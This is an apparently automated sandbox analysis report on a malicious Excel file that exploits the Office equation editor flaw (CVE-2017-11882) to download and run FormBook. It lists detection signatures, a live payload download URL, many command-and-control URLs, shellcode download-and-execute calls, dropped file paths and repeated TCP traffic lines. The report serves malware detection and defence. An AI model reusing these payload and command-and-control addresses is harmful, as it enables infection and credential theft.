Windows Analysis Report
d0#U10dc.xls

Overview

General Information

Sample Name: d0#U10dc.xls
Original Sample Name: P72215__7_-.xls
Analysis ID: 830388
MD5: 4f1aac12084426a909da47a49cf59193
SHA1: 2eaf1072958ea81e87c86b5ec7a63228d623854b
SHA256: b861cc02ce6ad439e78219a4a0c154188de055794950d3e5d7fc51178f72971c
Tags: CVE-2017-11882xls
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet
System process connects to network (likely due to code injection or exploit)
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Antivirus / Scanner detection for submitted sample
Sigma detected: File Dropped By EQNEDT32EXE
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Shellcode detected
Excel sheet contains many unusual embedded objects
DLL side loading technique detected
Office equation editor drops PE file
Found potential ransomware demand text
Tries to harvest and steal browser information (history, passwords, etc)
Sample uses process hollowing technique
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Queues an APC in another process (thread injection)
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
Office equation editor establishes network connection
Drops PE files to the user root directory
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Document misses a certain OLE stream usually present in this Microsoft Office document type
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Contains functionality to download and execute PE files
Checks if the current process is being debugged
PE file contains more sections than normal
Drops PE files to the user directory
Dropped file seen in connection with other malware
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to shutdown / reboot the system
PE file contains sections with non-standard names
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Searches the installation path of Mozilla Firefox
Enables debug privileges
Office Equation Editor has been started
Contains functionality to download and launch executables
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://103.189.202.84/889r12/vbc.exe Avira URL Cloud: Label: malware
Source: http://www.fclaimrewardccpointq.shop/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.fclaimrewardccpointq.shop/u2kb/www.fclaimrewardccpointq.shop Avira URL Cloud: Label: malware
Source: http://www.bitservicesltd.com/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.un-object.com/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.energyservicestation.com/u2kb/www.energyservicestation.com Avira URL Cloud: Label: malware
Source: http://www.gritslab.com/u2kb/www.gritslab.com Avira URL Cloud: Label: malware
Source: http://www.thedivinerudraksha.com/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.white-hat.uk/u2kb/www.white-hat.uk Avira URL Cloud: Label: malware
Source: http://www.gritslab.com/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.thedivinerudraksha.com/u2kb/www.thedivinerudraksha.com Avira URL Cloud: Label: malware
Source: http://white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv Avira URL Cloud: Label: malware
Source: http://103.189.202.84/889r12/vbc.exehhC: Avira URL Cloud: Label: malware
Source: http://www.un-object.com/u2kb/www.un-object.com Avira URL Cloud: Label: malware
Source: http://www.ecomofietsen.com/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.shapshit.xyz/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.avisrezervee.com/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.222ambking.org/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.ecomofietsen.com/u2kb/www.ecomofietsen.com Avira URL Cloud: Label: malware
Source: http://www.bitservicesltd.com/u2kb/www.bitservicesltd.com Avira URL Cloud: Label: malware
Source: http://103.189.202.84/889r12/vbc.exer Avira URL Cloud: Label: malware
Source: http://www.avisrezervee.com/u2kb/www.avisrezervee.com Avira URL Cloud: Label: malware
Source: http://www.bitservicesltd.com/u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93 Avira URL Cloud: Label: malware
Source: http://www.thewildphotographer.co.uk/u2kb/www.thewildphotographer.co.uk Avira URL Cloud: Label: malware
Source: http://103.189.202.84/889r12/vbc.exej Avira URL Cloud: Label: malware
Source: http://www.white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93 Avira URL Cloud: Label: malware
Source: http://www.gritslab.com/u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93 Avira URL Cloud: Label: malware
Source: http://www.thewildphotographer.co.uk/u2kb/t Avira URL Cloud: Label: malware
Source: http://www.ecomofietsen.com/u2kb/-wA Avira URL Cloud: Label: malware
Source: http://www.germanreps.com/u2kb/5fQ Avira URL Cloud: Label: malware
Source: http://www.thewildphotographer.co.uk/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.white-hat.uk/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.energyservicestation.com/u2kb/ Avira URL Cloud: Label: malware
Source: http://www.222ambking.org/u2kb/www.222ambking.org Avira URL Cloud: Label: malware
Source: http://www.222ambking.org/u2kb/l Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: d0#U10dc.xls ReversingLabs: Detection: 30%
Yara detected FormBook
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Antivirus / Scanner detection for submitted sample
Source: d0#U10dc.xls Avira: detected
Machine Learning detection for dropped file
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 6.2.mcwfy.exe.280000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 8.2.mcwfy.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 103.189.202.84 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\README (2).txt Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\README (3).txt Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: mcwfy.exe, mcwfy.exe, 00000008.00000003.994250234.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000003.980520259.0000000000640000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000930000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002400000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002280000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1055259646.0000000001F90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1056803818.00000000020F0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wscript.pdb source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
Source: Binary string: c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\browser\app\firefox.pdb source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wscript.pdbN source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
Source: C:\Users\Public\vbc.exe Code function: 5_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 5_2_00405D74
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040699E FindFirstFileW,FindClose, 5_2_0040699E
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040290B FindFirstFileW, 5_2_0040290B
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_004089B8 FindFirstFileExW, 6_2_004089B8

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035B0646
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B06A7 ShellExecuteExW,ExitProcess, 2_2_035B06A7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B06C5 ExitProcess, 2_2_035B06C5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B05EB URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035B05EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B0690 ShellExecuteExW,ExitProcess, 2_2_035B0690
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
